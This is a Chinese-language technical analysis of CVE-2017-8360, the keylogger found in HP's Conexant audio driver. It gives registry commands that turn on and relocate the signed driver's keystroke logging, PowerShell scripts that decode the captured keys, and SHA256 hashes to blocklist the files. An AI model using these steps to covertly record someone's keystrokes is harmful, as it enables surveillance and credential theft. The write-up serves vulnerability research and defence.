CVE-2017-8360(Keylogger in HP Audio Driver)利用分析
0x00 前言
2017年5月,瑞士安全公司Modzero的安全研究員Thorsten Schroeder發現HP的Conexant音訊驅動中存在Keylogger,非法記錄使用者的鍵盤輸入。 本文僅在技術研究的角度,測試和分析利用方法,給出防禦建議,糾正部分文章中出現的錯誤理解。
0x01 簡介
本文將要介紹以下內容:
·漏洞簡要介紹
· 漏洞復現
· 利用思路
· 防禦建議
0x02 漏洞簡要介紹
可供參考的資料:
ofollow,noindex">https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt
使用者在安裝HP的Conexant音訊驅動後,將會建立計劃任務,在使用者登入後執行檔案MicTray.exe
注:32位程式為MicTray.exe,64位程式為MicTray64.exe
啟動MicTray.exe會記錄使用者的鍵盤輸入,以兩種方式儲存:
· 寫入檔案C:\Users\Public\MicTray.log
· 通過WinAPI OutputDebugString()記錄內容,可被其他程式讀取
0x03 漏洞復現
關於漏洞復現的參考資料:
https://diablohorn.com/2017/05/12/repurposing-the-hp-audio-key-logger/
本節會對參考資料中的內容做擴充套件,介紹讀取OutputDebugString()中記錄的方法
存在漏洞的驅動下載地址:
ftp://whp-aus1.cold.extweb.hp.com/pub/softpaq/sp79001-79500/sp79420.html
該地址已經失效,單個檔案的下載地址:
MicTray.exe:
MicTray64.exe:
測試系統: Win7 x64(更新補丁)
記錄方法1.將鍵盤記錄內容寫入檔案C:\Users\Public\MicTray.log
(1)添加註冊表
使用MicTray.exe:
reg add hklm\SOFTWARE\Wow6432Node\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1
使用MicTray64.exe:
reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1
二選一即可。
本次測試選擇MicTray64.exe
(2)執行MicTray.exe/MicTray64.exe
生成記錄檔案檔案C:\Users\Public\MicTray.log
記錄鍵盤輸入內容,如下圖:
注:低許可權執行即可,想要記錄高許可權程式中的鍵盤輸入,需要高許可權執行。
記錄方法2.通過OutputDebugString()輸出鍵盤記錄內容
可以通過DbgView讀取WinAPI OutputDebugString()的輸出內容
下載地址:
https://live.sysinternals.com/Dbgview.exe
由於無法獲得HP Conexant音訊驅動的安裝包,這裡選擇使用Procmon尋找觸發方式
注:也可以對其動態除錯,找到函式判斷條件。
使用Procmon監控MicTray64.exe在執行時對登錄檔的操作,記錄方法1(寫入檔案)的登錄檔操作如下圖:
DbgView輸出如下圖:
嘗試解決錯誤,添加註冊表項:
reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v HotKeyMicScancode /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v HotKeySpkScancode /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v PlaybackGPIO /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CaptureGPIO /t REG_DWORD /d 1
注:MicTray64.exe執行後會自動在登錄檔hkcu\SOFTWARE\Conexant新增配置資訊。
經測試,還需要清除登錄檔中的配置資訊,否則DbgView無法獲得鍵盤記錄。
清除配置資訊:
reg delete hkcu\SOFTWARE\Conexant /f
重新啟動MicTray64.exe,成功獲得鍵盤記錄訊息,如下圖:
綜上,記錄方法2(通過OutputDebugString()輸出)的觸發條件如下:
· 不存在登錄檔項hkcu\SOFTWARE\Conexant
· 配置以下注冊表項: reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v HotKeyMicScancode /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v HotKeySpkScancode /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v PlaybackGPIO /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CaptureGPIO /t REG_DWORD /d 1
0x04 利用思路
站在滲透測試的角度,分析可供利用的思路。
通過修改登錄檔可以修改記錄檔案的儲存位置:
reg add hkcu\SOFTWARE\Conexant\MicTray64.exe /v LogName /t REG_SZ /d "C:\test\log.txt"
1、針對32位系統的鍵盤記錄
配置命令如下:
reg add hkcu\SOFTWARE\Conexant\MicTray.exe /v LogName /t REG_SZ /d "C:\test\log.txt" reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1
執行MicTray.exe後,記錄檔案儲存在C:\test\log.txt
2、針對64位系統的鍵盤記錄
32位程式(MicTray.exe)的配置命令如下:
reg add hkcu\SOFTWARE\Conexant\MicTray.exe /v LogName /t REG_SZ /d "C:\test\log.txt" reg add hklm\SOFTWARE\Wow6432Node\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1
64位程式(MicTray64.exe)的配置命令如下:
reg add hkcu\SOFTWARE\Conexant\MicTray64.exe /v LogName /t REG_SZ /d "C:\test\log.txt" reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1
該工具通過呼叫WinAPI SetwindowsHookEx()實現鍵盤記錄,相對於常規的鍵盤記錄程式,優點在於包含數字簽名。
如下圖:
3、解析鍵盤記錄內容
日誌檔案記錄的是鍵盤的虛擬鍵碼。
可以通過指令碼實現將虛擬鍵碼轉換為鍵盤按鍵的名稱。
測試參考連結中的powershell程式碼:
https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt
程式碼如下:
$filename = "c:\users\public\MicTray.log" [System.IO.FileStream]$fs = [System.IO.File]::Open( $filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite) [System.IO.StreamReader] $fr = [System.IO.StreamReader]::new( $fs, [Text.UTF8Encoding]::UNICODE) $el = 0 while($el -lt 2) { $line = $fr.ReadLine() # handle broken newlines in log... if([string]::IsNullOrEmpty($line)) { $el++ } else { $el=0 } $mc = [regex]::Match($line, "MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$") $r = $mc.Groups[2].Value if(-Not [string]::IsNullOrEmpty($r)) { $i = [convert]::ToInt32($r, 16) $c = [convert]::ToChar($i) if($i -lt 0x20 -or $i -gt 0x7E) { $c = '.' } write-host -NoNewLine $("{0}" -f $c) } }
我在測試時程式碼報錯,如下圖
這裡提供一個簡單的解決方法,程式碼如下:
$filename = "c:\users\public\MicTray.log" $fr = Get-Content $filename foreach ($line in $fr) { $mc = [regex]::Match($line, "MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$") $r = $mc.Groups[2].Value if(-Not [string]::IsNullOrEmpty($r)) { $i = [convert]::ToInt32($r, 16) $c = [convert]::ToChar($i) if($i -lt 0x20 -or $i -gt 0x7E) { $c = '.' } write-host -NoNewLine $("{0}" -f $c) } }
轉換後的輸出如下圖:
0x05 防禦建議
新增檔案黑名單:
MicTray.exe:
SHA256: e882149c43976dfadb2746eb2d75a73f0be5aa193623b18b50827f43cce3ed84
MicTray64.exe:
SHA256: c046c7f364b42388bb392874129da555d9c688dced3ac1d6a1c6b01df29ea7a8
注:更新Windows補丁並不能阻止該程式的執行。
0x06 小結
本文復現了CVE-2017-8360(Keylogger in HP Audio Driver)鍵盤記錄的方法,分析利用思路,改進測試指令碼,給出防禦建議。